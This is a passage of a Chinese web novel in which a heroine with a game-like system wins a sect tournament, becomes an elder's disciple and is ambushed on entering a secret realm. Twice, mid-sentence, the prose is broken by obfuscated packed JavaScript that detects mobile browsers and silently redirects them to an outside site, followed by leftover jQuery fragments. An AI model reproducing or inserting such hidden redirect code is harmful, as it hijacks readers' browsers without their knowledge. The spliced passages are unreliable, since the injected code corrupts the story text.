滕棠笑容愈发尴尬,也不好意思多问了,大概明白这是个抢宝贝、提升实力的好地方,于是点头道谢。 “多谢,我这就回门派看看。” 她什么都缺,但眼下最要紧的,就是把体质改善,早日筑基,说什么都要去试试。 滕棠离开客栈后,往明月二城的城门走。城门便是出塔口,进入那道白色漩涡,手上的印记会带她回到鹿焰宗的后山圆台。 明明只在仙塔待了一年,滕棠却觉得过去了很久。 鹿焰宗没有变化,山上依旧烟雾朦胧,常年看不见日月。偶尔云层中穿过筑基修者,御剑飞来飞去,动作匆忙。 外门弟子有自己的石洞,滕棠还没去过。她出来后,在台下的莲花柱内放入自己的弟子令牌,而后看到石柱上浮现的编号,立马知晓她的石洞在何处。 肉身不能御剑飞行,滕棠只能走路。 从后山到外门弟子的山峰,不可避免地要经过峥嵘峰。 峥嵘峰的白鹤振翅,炉型山体被凿出大大小小的擂台,圆台中空无一人。对比鲜明的是,山下有三三两两的弟子,在互相斗法,各色灵力在空中飞来飞去。 滕棠走近观看,听某两位弟子闲谈。 “十七日后便要筛选名额,来得及么?” “炼气期只要三十岁以下的前十名,我看难。我们不如放弃,回仙塔捕捉妖魔吧。” “哎……” 为避免疏漏消息,滕棠上前,礼貌地问了各项事宜,得知要去外门管事那儿报名后,向他们道谢,朝管事阁赶去。 报名要交灵石,滕棠的灵石全在系统里,让她一阵尴尬,摸半天摸不出一块石头。忽而想起自己很久没领月禄,匆忙来回,这才补齐报名费。 经此一事,她发现自己对修真界真的太无知了。 于是放弃去山洞修炼,转而跑到藏书阁,挑着夜灯,一目十行,熬夜苦读百书。 十七日读了二十来本,滕棠暗悔没有早点来看。有这些书在,还要原主记忆做什么…… 她借了些史书、灵草妖兽以及地方志相关的书籍,放进储物袋中,走出藏书阁,看着遥远的山头,整个人豁然开朗,感慨道,原来她所在的鹿焰宗如此之小。 明月大陆在最西南,北有梦海,东有狂海,南有史海,与其他大陆隔绝开来,很少受到侵扰。 最大的大陆乃北部的冥无大陆,为魔族占领,地域广袤,是明月大陆的五倍,常年阴寒霜冻,危机四伏,少有人敢渡海过去。 最繁华的大陆在狂海东边,叫天央大陆,不仅人多门派多,且是当今唯三的飞升成仙之地。 万年前人魔妖大战后,仅剩的三条天梯,分别在冥无大陆的魔宫、天央大陆的无涯宗以及南妖海的人鱼岛。 所有人都想图个方便,走先人铺的天梯,于是内卷风气盛行,大家为进无涯宗挤破头,导致各门派强者不够,铺天梯一事总是懈怠延后。 滕棠现在在炼气期,除了规划什么时间修炼,一步一步突破到筑基期、金丹期等阶段外,也曾设想过最后飞升成仙。 她总觉得走这天梯怪异,仙人都是用飞的,所以叫飞升成仙,为什么在这里,大家都是靠脚走上去的呢? 她表示不理解,但这个阶段离她委实有点远,想太多也没用。 十七日过去,鹿焰宗的门内比试开启,此次雾蓝秘境,派三名长老、十二名金丹弟子、三十名筑基弟子,以及十名炼气期弟子。 元婴长老和金丹弟子本就匮乏,自然不用比试,只有筑基弟子和炼气弟子需要争个排名出来,取前面的去往雾蓝秘境。 滕棠来到峥嵘峰,山下暗压压站了上千人,有七成都是炼气期。 底层真卷啊。 不知是她相貌出众,还是上次在惩戒台出了名。她一到,窃窃私语声多了起来,嗡嗡像个菜市场。 滕棠找了个角落站,惆怅地想着怎么让她的武器不打眼。 那滴血特效,很吓人的。 “丫头,你炼气四层了!”饱含欣喜的声音在身后响起。 滕棠被这声丫头喊得浑身一抖,僵着脸回头瞧去,可不就是那红发金瞳、无比自傲的龙傲天。 目光往上,男主是吃了什么仙丹吗,一年后,[13级]变[17级],绝世天才也没有这样的速度…… 不过对方用了什么法器,遮掩住实力,如果不看他等级标识,只看灵身,仍是筑基三层。 龙傲天露出八颗牙,笑着走过来,想摸她的头,却被她躲开。他脸色难看道:“你如今这般讨厌我吗?” 滕棠眼眸移开,在他右手食指上扫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032692|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,想起不死神戒的事,微微发呆。 哪料,龙傲天握手捶自己胸膛一拳,气馁道:“你打我骂我都行,上次的事就此揭过好不好?” 滕棠眨眨眼,抬起头时,忽而一笑:“好。”心想,我要是真打你骂你,你会心甘情愿受着? 我很记仇的。 像是早料到滕棠会顺着台阶下,龙傲天大笑一声,抱臂道:“我就知道丫头吃软不吃硬,你不理我的这些时日叫哥哥好生难过。” 滕棠虽假意交好,但心里实在忍受不了对方的性子,尤其是毛手毛脚的,老来揉她的头。 她不动声色地用手臂挡开:“我要去比试了,在雾蓝秘境中,龙师兄可要护着我。” “雾蓝秘境?”龙傲天上下打量她,轻笑一声,摇摇头:“你虽是五灵根,炼气四层,争名额还是很难的。那秘境葬送了不少修者性命,棠儿不去是最好的。” 听到这话,滕棠蹙了下眉,没什么表情地朝他礼貌一拜,往擂台走去。 此次比试由五长老和六长老主持,两位老人立在空中,像上次一样分发竹简。 滕棠随意接了一枚,登上四七五号擂台。 她刚上去,就有人站到她对面,似乎很高兴,喃喃着:“还好是个软柿子。” 到底是不是软柿子,谁是软柿子,滕棠但笑不语,连武器都没拿出来,在长老喊开始时,浑身灵力迸发,双足双掌汇聚大量灵力,一蹬,迅速闪现到对方面前,将人踢下去。 整个过程不出三秒。 “方师弟那厮真好笑,他不知那女的叫滕棠吗?可是少见的五灵根呐!”台下某个筑基弟子戏笑起来。 滕棠偏头一看,不认识。 下台时,视线和龙傲天对上,对方用口型对她道:“小心,别逞强。” 滕棠朝他礼貌笑笑,回了个“好”的嘴型。 角逐名额的比试继续进行,滕棠连赢三场后,进了前一百名。 这后面的比试就不轻松了,这次进前五十,就遇到个炼气七层的双灵根弟子。 见此,滕棠只好把自己的一米大刀拿出来和他打。 “你……用的是魔器?”对手诧异道。 滕棠摇头否认:“不是魔器,长得像而已,况且就算是,也没明文规定说不能使用魔器,只要我修炼的是正派灵力就行。” 刀尖滴答滴答落着血,看得对手一愣一愣的。 脸皮厚的滕棠忽然羞涩,暗道系统特效害我,连忙刀一提,速战速决把对方撂下台,然后收回武器。 她每次获胜得实在太快、太狠、太准,很难不引人注意。 天上五长老捋着胡须,踏空下来对滕棠道:“你把你那刀给我看看。” “是。”滕棠取出大刀递过去,武器是绑定的,且这么多人在,她也不怕有什么闪失。 “竟是把中品灵器。”五长老赞叹道,随后接下刀尖滴落的血液,闻了闻,问滕棠:“加个滴假血的器阵作甚?” 滕棠恭敬回答:“此灵刀是弟子偶然所得,我亦不解。”当然是为了好看。 五长老将大刀还给她,咦了一声,又问:“你五灵根体质,如何能修炼到炼气四层,可是遇到什么机缘?” “弟子哪有什么机缘,是个吃苦的命。”滕棠摇摇头,开始给五长老算:“一日十二个时辰,若花费十一个时辰修行,每日可增长半指甲灵力,日复一日、年复一年,若是坚持,五灵根也能尽早筑基。” 当然即使如此,正常情况下,也要花六七十年,但滕棠有精神力、系统的灵力条和辅助丹药,修行速度并不慢。 “你倒是勤快。”五长老哈哈笑了一声,对其余弟子道:“听见了么,捷径要少走,苦修才是正道。” 六长老也跟着道:“此次比试,前十可升为内门弟子,你们要多加努力啊!” 众人皆俯首应是,看滕棠的目光,轻蔑不减。五灵根想要筑基?这大概是他们听过最好笑的笑话了。这叫滕棠的,定然是吃了药才拔到炼气四层。 这场比赛进行到最后,滕棠有所保留,堪堪卡在第十名的位置,获得前去雾蓝秘境的名额。 不过即使是第十名,她也出尽了风头。甚至结束后,五长老下来,和蔼道:“你要当我徒弟不?” 众人一惊,五长老少有收徒,这次竟然想收五灵根的人? 滕棠其实不想拜师,她不常与人亲近,是个独行侠,总是独来独往、匆匆忙忙,没时间搞社交。但修真界不同,在门派内,有个师父挂名,很多事会简单方便。 思索一番,她上前跪拜:“弟子愿拜五长老为师,是弟子的荣幸。” 五长老相貌有六十来岁,实力在元婴二层,他一捋白须,亲切地扬手:“起来吧,我也是欣赏你的勤勉,望你说到做到,别是编的谎话骗我。” 他递给滕棠一个盒子当见面礼,打开一看,竟是根上千年的灵芝。 滕棠低头道谢,旁边突然响起龙傲天的声音:“如今我这丫鬟快要和我平起平坐了,以后不得更加娇蛮?” 他旁边站着刚赶来的徐扉罗,阴阳怪气道:“师妹确实了得。” 34. 第 34 章 “棠儿丫头,那些丹药积毒毁根,少吃为妙。”龙傲天叹气一声,揉着滕棠的头,劝诫道。 滕棠不喜地躲开,把灵芝收好,并未作答。说多无益,她已经解释过实力是怎么提升的,这些人不信,她懒得辩驳。 炼气层的弟子比试完毕,接下来是筑基期的弟子。鹿焰宗在明月大陆排名第八,算不上什么大门派,掌门和长老们都是元婴期修者,门派最多的是天资平平的炼气期弟子。 此次前来参加的筑基弟子有三百余人,要挑三十人出来。龙傲天自是不用说了,整个门派的未来兴盛都仰靠他,其次徐扉盛、徐扉罗这二人,因其地位身份和实力,也无需参与比试,直接获得名额。 这或许该称为“修二代”,滕棠想。 筑基弟子的比试,滕棠观看了一会儿,便失去兴趣。大家的心法招式都差不多,刻板地按照一套来,看谁练得好罢了,没什么新意。 百无聊赖之时,她突然收到一则系统公告。 [尊敬的玩家: 系统将于9月9日扣除500上品灵石,更新后,开启全新活动“传奇矿石”,并开放三大宝海!参与活动,即可体验采矿之旅! 活动奖励:宝海抽奖券。 活动入口:雾蓝秘谷。 活动流程:根据挖到的矿石品质,获得低、中、高级抽奖券,海量宝贝任你领! 点击‘查看详情’] 滕棠问旁边弟子,雾蓝秘境什么时候开启。 那人回道:“九月九日,如此好记的日子,你怎么不记得。” 滕棠点点头,这是游戏活动和秘境结合上了。五百上品灵石,简直要老命。不补齐,系统就会倒闭,左右得把钱赚上。 滕棠寻空悄悄离开,如今身份摇身变成内门弟子,以后要去五长老的山峰居住。 五长老名为徐云瀑,是掌门徐云旭的亲弟弟。他闲云野鹤惯了,很少回门内管理事务,名下弟子也不多,仅一个金丹期的师姐和三个筑基期的师兄。 滕棠来五峰未见到师姐师兄,跟着徐云瀑的贴身杂役,来到一个花团锦簇的小院。 “滕主子以后住在这。”杂役把院子收拾得很整洁,像没人居住过一样。 滕棠不喜人打扰,于是拿了点灵石给他作领路费用,嘱咐道:“我的院子不需要杂役,放一个铃铛在门口,若有人找我,自会摇响。” “是。”杂役欢喜地收钱退下。 离雾蓝秘境开启还有一个月,滕棠的财富栏只有三十块上品灵石,而系统要五百。看来这一个月,必须去仙塔内疯狂刷怪。 除了系统更新需要这么多灵石外,她自身也需要存一笔做备用,在秘境里受伤中毒,可以花钱买丹药。系统的丹药无毒、见效快,比吃丹修品质参差不齐的丹药好。 据书上所写,天地秘境险象环生,有的好几年才出来,有的进去后就出不来了。雾蓝秘境历年葬送不少弟子,少说待个半年,她必须尽力充盈灵石,以防不时之需。 别人去秘境,备的是各种灵器法宝,或者灵丹妙药。滕棠去秘境,却是一个空空如也的储物袋,连五长老送给她的灵芝,都被她卖在仙塔内。 若此事让徐云瀑知晓,怕是要气得吐血。 晃眼到了秘境开启之日。 滕棠天天泡在明月五层妖魔森内,用一个月的时间,等级升到17级,赚了五十多万的中品灵石,如今财富栏显示的是:[0灵髓,541上品灵石,378中品灵石,31下品灵石]。 财富乍看起来比以前多好几倍,但处处都要钱,明天系统扣掉五百后,她剩下的那点最多买买便宜丹药。 同时,装备的升级打造俨然进入一个氪金难关,三字中级装备有三套,分别是[绯烈焰]、[寒霜雪]、[屠龙行],一套比一套贵,她剩下这点钱只买得起四块火焰石,因此装备升级一事要先放放。 此次活动打开了三大宝海,只要挖矿得券就可随便抽,听起来好像很容易,但滕棠颇为头疼。 她熟悉游戏的尿性,要么抽奖概率低、物品重复,要么获得抽奖券的方式困难。她不是欧皇,向来脸黑,恐怕拿不到自己想要的东西。 前世的三大宝海,白嫖党是做任务刷关卡,领可怜的几张低级券,抽蚊子腿奖励,中级和高级宝海都是给欧皇和氪金玩家准备的。现下直接断了氪金的路,所有券都必须用矿石换,滕棠很担忧自己挖不到矿。 好生惆怅了一番,滕棠去主峰汇合,看到天上和徐扉罗说说笑笑的龙傲天时,忽地眼眸一亮。她运气不好,但可以和运气好的人组队啊……男主天道宠儿,气运第一,有他在,还愁什么机缘。 正当时,龙傲天自空中下来,一眼看中人堆里那朵仿佛沾了露水的梨花,娇怜纤妍。他大笑一声,御使灵剑,把滕棠载到空中叮嘱:“我劝你别去,你非要去。进了雾蓝秘境,一定要跟紧我。” “当然。”滕棠假笑以答,寻思着该怎么跟男主打交道。男主表面护她,为的是这副身子,但凡长得丑点,对方都不会施舍一个眼神。 她装作和好,为的是戒指和气运,各有企图罢了。 三名长老、十二名金丹弟子、三十名筑基和十名炼气弟子,皆聚齐在主峰上。徐云旭空中再三叮嘱,其后才让他们出发。 领头的是五长老徐云瀑,他和六长老、掌门夫人各分三队,两队十八人,掌门夫人这队十九人。 三辆轻舟悠悠飞在天空,掌舵处的法阵内,镶嵌着一块两拳大的灵石,看得滕棠很是心动。 本来五长老是要留滕棠在他那队的,但是龙傲天和徐扉罗都在掌门夫人这儿,她只能无奈答应龙傲天,跑到官汶苇的轻舟上。 说起上次被龙傲天冤枉惩罚之事,官汶苇和徐扉罗都帮过自己。滕棠对她们的印象还算不错,即使她们对自己没好脸色,眼神很轻蔑,她也表现得恭而有礼。 轻舟在云层中穿梭,有灵罩在,气温不会太低。滕棠婉拒了龙傲天邀去品尝香果的好意,盘坐在角落修炼心法。 舟头有徐扉罗在,他那颗心被掌门之女占据着,是顾不上她的。 修炼完几个周天,滕棠汗流涔涔,蓦地听见有人过来,脚步声离自己越来越近,于是睁开眼。 徐扉盛当初把原身推入寒潭,好长一段时间里,她的脑海反复出现死亡时的画面,可见原主有多怨恨。 “师妹好命。”徐扉盛的目光像毒蛇一样盯紧她。 滕棠笑不达眼底,仰头道:“师兄说笑,师妹是苦命之人。” 拍了下手上不存在的灰,徐扉盛俯身,在她耳畔附言:“那日寒潭之事你最好闭嘴,否则我能杀你一次,自然能杀你二次。” 哦,这是来威胁她的。滕棠避开,看向他头上绿色的[11级],闭目继续打坐:“师兄说的话,我牢记在心。” 徐扉盛直起身,眼神阴鸷地看向最前端逗他妹妹笑的红发男子,心思斗转,留下一句:“你同龙傲天说了也无妨。” 滕棠才不管他们的恩恩怨怨,须臾冥想静心,重新投入修行之中。 飞舟晃晃悠悠地,没过多久便抵至雾蓝秘谷,这儿已经停满飞舟。浓重的寒雾弥漫山谷,空中最上方的金色祥云舟是祥天门的,紧接着是福鹿宗的彩鹿舟。 除八大门派外,山谷四周还来了很多小门派弟子和散修,大家都不出声,安静地等待雾蓝秘境开启。 因上方的祥云舟,滕棠无心修行,取怀里的面纱戴上。 “你相貌美不至此。” 徐扉罗走到她身旁,高步阔视着茫茫山谷,“修真界的美人遍地都是”,语气好像有些不甘。 “是这样的。”滕棠尬聊着,不好说她戴面纱不是因为自己长得好看,而是怕遇上陆椛和李婪深。 扶着舟壁,滕棠朝下看去,官汶苇收了灵罩后,湿冷的雾气侵袭进来,收走不少温度。 雾蓝秘谷下方有一水池,深不见底。水的颜色很好看,晶蓝晶蓝的,像面宝石镜子。在池水中央,有一个静谧的漩涡在逐渐扩大。 “秘境马上打开,进去之后,师妹千万不要走丢。” 徐扉罗取头上一根簪子,阴阳怪气道:“龙哥哥让我多照看你,要不是他,我才不搭理你。” 那伸过来的手姿势别扭,滕棠并未觉得她有什么恶意,簪子是件精美的下等灵器,收了是一份人情。她并没有要,因为对方也不是诚心给的。 “师姐,东西太贵重了。”她推回去。 徐扉罗冷笑,把簪子插回发间:“对,给你也是浪费。” 正午时分,雾气散了些许,阳光破开重叠云层,在水池上摇金浮碎。池中的漩涡已经扩至边缘,内里露出个巨大的中空,形状让滕棠想起了甜甜圈。 最先动的飞舟是祥天门的,从云层上鱼入雾池,一头扎进中空,接二连三地飞到秘境中去。 鹿焰宗排在第八,要等一会儿。 官汶苇操纵轻舟,带着众人向下。左右是五长老和六长老的飞舟,船上弟子皆雀跃不已,期待地望向底下的空洞。 滕棠从未进过秘境,不免隐隐激动。 很快,他们这艘雕刻麋鹿的白色飞舟,晃动倾倒,头朝下栽向水池中空。 滕棠被冷风呼呼刮得脸疼,睫羽沾满蓝色水雾,眸光乌润,面纱掀翻到她上半边脸,遮蔽了视线。 一把抓下纯白的面纱,苍翠欲滴的森林映入眼帘,浓绿荫翳满山头,蓝色的雾气好似进了染缸的丝绸,袅袅缕缕地在空中飘动。 寒山转苍翠,秋水日潺湲。浓郁的灵气舒张着毛孔,有种宿雨后的清爽,令人陶醉沉浸。这儿的灵气不仅充沛,还干净,果真如那小二所说,精粹,纳入体内后,运作心法,修行效率是平日的两倍不止。 滕棠深深吸了几口凉气,顿时心旷神怡。 “你第一次吸纳这种程度的灵气吧?”徐扉罗在旁边回忆:“瞧你一副没见过世面的样子,我曾经在狂海吸纳过更为精纯的,差点以为是仙气,一个大周天下来,整个人都轻盈了。唉,可惜你福薄,没机会去那地。” 不会聊天,我们可以不聊天。滕棠扯起嘴角,勉强笑笑。船上那么多人,徐扉罗的娘在、哥哥在、爱人在,还有同门师兄弟妹,来找她尬聊干甚。 进入雾蓝秘境后,祥天门的飞舟便迫不及待地离开,据闻他们掌握了七成的地图,此次夺宝机会很大。 官汶苇在同五长老商量分开行动,五长老似乎不太赞成。 片刻后,两艘彩鹿灵舟降至他们上方,上头有人问:“领舟的是谁?” 鹿焰宗攀附福鹿宗而存,弟子们见到大门派的灵舟,都禁了声。 官汶苇听见上头有人问话,忙谄媚一笑,向前俯首道:“我是徐云旭之妻,官汶苇,亦是鹿焰宗的十长老。” 蓝雾散开一阵,露出彩鹿舟头部,那里站着一位白衣飘飘,领口绣七彩神鹿的中年男人。他摸着胡须,眉目不怒自威,朝五长老和六长老问:“你们呢?” 两位长老忙低头报上姓名。 “我是福鹿宗三长老鹿桓。” 鹿桓驶动灵舟,不动声色地扫了眼红头发的龙傲天,挥了挥手里的地图道:“既是附门,该互帮互助才对。我知这儿有座长满奇珍异草的灵山,你们可愿意同我前去?” 听此消息,官汶苇喜不自禁,提着裙摆一拜:“当然愿意。”鹿焰宗的地图不比大门派,很多地方都没探明白,有大门派带路,肯定能捞点好处。 然而她刚说完,龙傲天倏地站出来反对:“不行。鹿桓,你上次带着徒弟抢我宝贝,那笔账还没算清楚。” 鹿桓装作不解,问官汶苇:“这就是你们鹿焰宗教出来的弟子?宝贝要么价高者得,要么以实力论主,上次我徒弟将你打败,你有什么不服气的。” 龙傲天和鹿桓之间的旧争执,官汶苇和两位长老并不知晓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032693|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他们见鹿桓半天不拿地图出来,现在横眉竖目,在这儿呛声龙傲天,登时察觉不对,这人分明是过来找茬的。 果不然,在龙傲天反呛几句回去后,鹿桓忽地开始动手,仗着自己出窍一层的实力,直接用威压将鹿焰宗的三座灵舟掀翻。 筑基金丹弟子还好,能面前御剑飞起,像滕棠这类炼气弟子,则成了池鱼,下饺子似的往下坠。 官汶苇和两位长老忙于应对鹿桓,哪里有空救他们。 一条披帛卷来,将滕棠拉回晃荡的飞舟,她一瞧是徐扉罗,感激地道了声谢。 天上的三位元婴长老,已经被鹿桓压制住,对方哼了一声,指向龙傲天:“把此人交出来,我便放了其他人。放心,我只是代你们教训他要尊敬长辈,不能随意张口污蔑,会让他回去的。” 龙傲天是个不服输的,愤怒时,浑身冒雷,红发像刺猬一样竖起,他的金瞳缩小,全身红脉赤透。 “啊!”顶住出窍期的威压,他大喝一声,头上忽然鼓起两个大包。 轰隆—— 一道道紫雷劈下,瞬间化解掉鹿桓的威压。龙傲天御剑飞上去,和鹿桓平视,叫嚣道:“鹿桓你不要欺人太甚!” 鹿桓诧异,没料到他龙血觉醒到这个地步,竟能招引天雷降下。他眼睛闪烁,嫉妒心生起,暗骂不能让此子继续变强。 取出棘刺钩剑,鹿桓一招射向龙傲天的心脏。 “小心!”官汶苇大喊道。 三个长老不得不拼尽全力,替龙傲天抵挡这一击。 但他们一个元婴二层、一个元婴一层,还有个金丹六层,和鹿桓差了整整一个大境界,怎么可能抵挡得了,霎时纷纷口冒鲜血,连身子都稳不住,坠入底下茫茫森林内。 没了主心骨,飞舟上的弟子们开始惊慌。 天上紫衣男子对鹿桓道:“师父,不留后患,把这些人都杀了,大长老和二长老若知此事,会责怪我们的。” 鹿桓点头,当即双手结印,一招招朝鹿焰宗的人打去,他身边的徒弟也跟着出招,招招不留余地。 啾——,一声莺啼在厮杀声中长鸣。远处眨眼飞来只赤红的大鸟,张口将昏迷的龙傲天叼走,速度之快,让鹿桓来不及出手。 “你们把剩下的人杀了,我去追。”鹿桓御剑,挑起下方生死不明的三位长老,收入囊中,对后方的徒弟们吩咐道。 他一走,鹿焰宗的灵舟经受不住各种攻击招式,咔咔裂开。 滕棠暗骂晦气,她早晨怎么想的,想沾龙傲天欧气?别忘了龙傲天可是大男主角啊,走在哪祸端便在哪,只有他占别人运气的份,没有别人吸他好运的事。 这不,救他的三个长老被鹿桓抓走,弟子们性命不保,而他却被一只火鸟救了。 滕棠无法,只好召唤出自己的[限定·热气球],对那些人道:“大家快上来!” 嘭——,巨大的气球凭空出现,比福鹿宗的灵舟还要大一圈,只是下方的篮子太小装不了多少人。 生死关头,滕棠顾不了那么多,见几个金丹弟子抓好上方的绳索后,立即按下前进键。 “他们这是什么灵舟……”彩鹿舟上的弟子们一头雾水。 等他们反应过来,掌舵开始追逐的时候,那圆滚滚的球体溜得飞快,早就把他们甩在后边,越跟距离越大。他们的乃是中上品灵舟,速度竟不及一个小门派拿出来的? “跟丢了,这可怎么办?”鹿桓门下的弟子惆怅道。 秘境广袤,山林众多,空中蓝雾又浓重,稍微一远,视线便不清晰。 这边死里逃生的众人,眼看后面不再有福鹿宗的灵舟追来,皆松了口气。碍于篮子太挤,筑基的和金丹的弟子,都御剑飞出去喘息。 三位长老不在,大家的目光都放在徐扉盛、徐扉罗身上,偶尔落在滕棠身上,都是惊异的打量,奇怪她怎么拿得出上等飞行灵器。 有人问出口,滕棠不打算说,只道:“各位安好就行。” 徐扉盛不依不饶地追问:“你到底从哪里得来的,快说!” 滕棠被他吼得头疼,又不想过多解释。心里思索了会儿,反派角色时常固执,主角多是以拳头解决,于是换上[饮血]套装,做出一副要干架的姿势:“当然凭我实力拿的,有什么问题吗?”正好,他们还有旧仇未算。 “你……是魔人。”徐扉盛说完,御剑在空,大手一挥,一个墨黑色掌印攻向她要害。 此人出手真是狠辣。 滕棠以刀抵挡,浑身灵力爆发,腰间足上红气缭绕,鲜血滴滴落在篮子内。她身上的五色灵力光芒十分强烈,厚重地顺着刀背砸向徐扉盛。 徐扉盛大意,未用专心应付这一刀,等五色刀光嚓地砍开他的掌印,砸得他皮开肉绽时,他心中大骇,滕棠的灵力为何比他还浑厚…… “你们别打了,我娘和两位长老生死不明,你们却在这儿自相残杀。”徐扉罗刚刚哭过,脸上还挂着泪。 滕棠收回刀,摆摆手:“我用的刀背,并不想杀他。大家也看到了,我的灵力仍是五色灵力,并不是魔人,仅是灵器外形颜色太暗红,产生误会。你们不觉得,徐师兄那掌印看着更像魔族招式么?” 徐扉盛气急,捂住伤口再次过来想和她打,却被徐扉罗拦住。 徐扉罗对他摇摇头,说了句“想想娘”,而后开始数在场弟子人数,原本该有五十二名弟子,龙傲天被鸟叼走,该是五十一才对,但在场只有四十六,那失踪的五人皆是炼气期弟子,活下来的希望渺茫。 三位长老生死未卜,师弟师妹丢了五个,大家伤的伤、晕的晕,众人没了初进来时的兴奋劲,神情皆萎靡不振。 滕棠实在看不下去,便站出来道:“人还没死呢,怎么都哭丧一张脸。鹿桓肯定是打不过的,我们去就是送死,不如好好活着,继续寻宝,等秘境重开之日,出去报信。或者大家好好修炼,终有一日报仇雪恨。” 35. 第 35 章 在场四十六人,整体实力并不强,最高的是金丹三层,其次三个金丹二层,八个金丹一层。 在临行出发之前,掌门一一叫过名字。滕棠只记得几个相貌有特点的。 她认不全,但徐扉罗基本上都知道这些人。 用了几次传音石,都联系不到丢失的五名弟子,三位长老也无人回应。徐扉罗抚摸着她娘送给她的白色披帛,走至金丹三层的那个弟子面前,端着手道:“梁师兄,由你来领头吧。”一行人,得有个主心骨,出主意之人。 “好。”梁羽赫擦干净嘴角的鲜血,一声应下。他方才为保护灵舟,接了几招福鹿宗弟子的阴招,受了点伤。 “龙傲天就是个祸害,天天惹事,让我们给他擦屁股。” 徐扉盛阴着脸,恶言厉色道:“我们和福鹿宗交好多年,供奉了无数宝贝,福鹿宗却出手将我们赶尽杀绝,这就是他们所谓的庇护?!” 听完他的话,大家都十分愤慨,一会儿怪起龙傲天惹是生非的脾性,一会儿骂福鹿宗丧尽天良。 徐扉罗掩面啜泣,问:“哥哥,你说娘还活着吗?” 徐扉盛拍动她的背,安慰道:“不要想坏事,娘福大命大,一定还活着。” 才进来就发生了这么大的事,滕棠整个人也是懵的。鹿桓说杀就杀,视人命如草芥,要不是她有热气球,大家该丧命在那里了。 她越发渴望拥有实力。在修真界,什么都以实力说话,强者为尊,没有所谓的公平秩序。 徐扉盛似乎对滕棠那一刀耿耿于怀,宁肯消耗点灵力在上方拉着绳索,也不肯下来待在篮子内,偶尔阴鸷扫她一眼,不知在打什么主意。 对于这种心狠手辣的反派角色,滕棠时刻提防着,以防他小人做派,背地里下杀手。 热气球飘过连绵起伏的绿山,前方的紫雾在逐渐消退,然后又被蓝雾占据。 徐扉罗看到滕棠疑惑的眼神,解释道:“师妹减慢速度。雾蓝秘境不开时,毒雾弥漫,那毒沾不得,连洞虚大能都忍受不了。现在秘境刚开,毒雾还未完全消散,探寻远处还得等一等。等过个半年一载,毒雾再次升起,便是我们离开之时了。” “原来如此,多谢师姐告知。” 滕棠不是不知,她只是没反应过来,那些字都是繁体字,看得又粗略,修真界知识广如海洋,哪里是一时半会儿能了解完的。 热气球速度减慢后,梁羽赫手持方盘,拿着地图看向四周,忽而指向西北面的一座山峰:“那山我筑基期时去过,曾在那里看到过箜篌参,但因当时实力低下,不敢深入。” “箜篌参?!” “那我们快去那!” …… 滕棠一边听他们兴奋的讨论,一边回想箜篌参是什么。似乎是一种形似箜篌,能被风吹出美妙旋律的灵参,入药能提升修为,奈何实在稀少。 滕棠有系统卖的各类药品,因此对这些灵植没太大兴趣。 调低热气球高度,降下来离地面仅一两千米后,滕棠发现森林太绿,和等级标识的颜色融为一体,很难辨清。再次降低,她挑了一片感觉没什么标识的地方,把热气球收回背包,放众人下去。 四十六人中,她炼气四层是最低的,被排在后方跟着大家往某座山峰攀。 徐扉盛死要面子,不待在热气球篮子内,后果便是从灵剑上下来时,脸色发白,头重脚轻,一看就是灵力消耗过度。他取出一瓶回灵液,表情像是谁欠他几百万似的,阴森森地走在队伍侧方。 空中雾浓,山内更浓,稠得人衣服都湿透了,能见范围只有几米,金丹弟子要稍微看得远一点,有个十米。 由于视线问题,滕棠很担心突然冒出个妖兽出来袭击众人,于是头左右一百八十度不停回旋,像陀螺般,在雾里查看有没有等级标志。 碍于灌丛茂密,枝繁叶多,绿油油地挡了大部分视线,即使有标志,也很难看到。 “停!”她小声喊道,驻足仔细看右前方雾里的藤蔓处。 “怎么了?”梁羽赫问。 讨人厌的雾白茫茫一片,微微有点蓝,使得翠绿的藤植偏冥暗。 滕棠指向十米外的地方,不确定道:“那里好像有妖兽。” 刚才是感觉有个绿色的字在动,但万一是风吹草动呢?或者有绿枝不堪压折,掉落下来。 左侧方的徐扉盛不以为然,哼笑一声,嘲讽她:“梁师兄都未发话,你担惊受怕的做什么?胆小如鼠的女人。” “师妹莫怕,这片地带的妖兽都不强,至多金丹一层的实力。”梁羽赫出声安抚道。 听此,滕棠松了口气。一行人继续深入。 但刚往前一段距离,她又停脚,惊慌失色地对众人道:“快!快过来上我的飞行灵器!” 她喊得很小声,怕惊动对面那个一上一下的[26级]妖兽。 大家不为所动,皆觉得她是胆子小,有点风吹草动便失张失智。 尤其是徐扉盛很不耐烦,提高声音骂道:“你这女人烦死了,胆子这么小,还敢来闯雾蓝秘境。你难道能比梁师兄看得远不成?” 梁羽赫表情无奈,抬手隔开徐扉盛,免得他们起争执。 嗬——,一声怪异的鸣叫在这片山内响起,刺耳扰魂。滕棠体质较差,听得头晕目裂,耳朵内冒出鲜血。 霎时,山摇树倒,浓雾中一条肥硕的绿虫窜过来,头部有上千只目,虫口獠牙密集,张开的大小能容纳三五个人。 梁羽赫反应最快,立即招出灵剑应对:“是食人螟,快拔剑!” 他后方的金丹弟子,连忙从地上爬起来,摆起阵势,一齐攻向绿虫。 这会儿的滕棠头晕目眩,还躺在地上爬不起来。这条虫子的声音能攻击人神魂,金丹弟子还能缓过来,筑基弟子具皆昏迷不醒,至于炼气期的,情况更差,不知能活下来否。 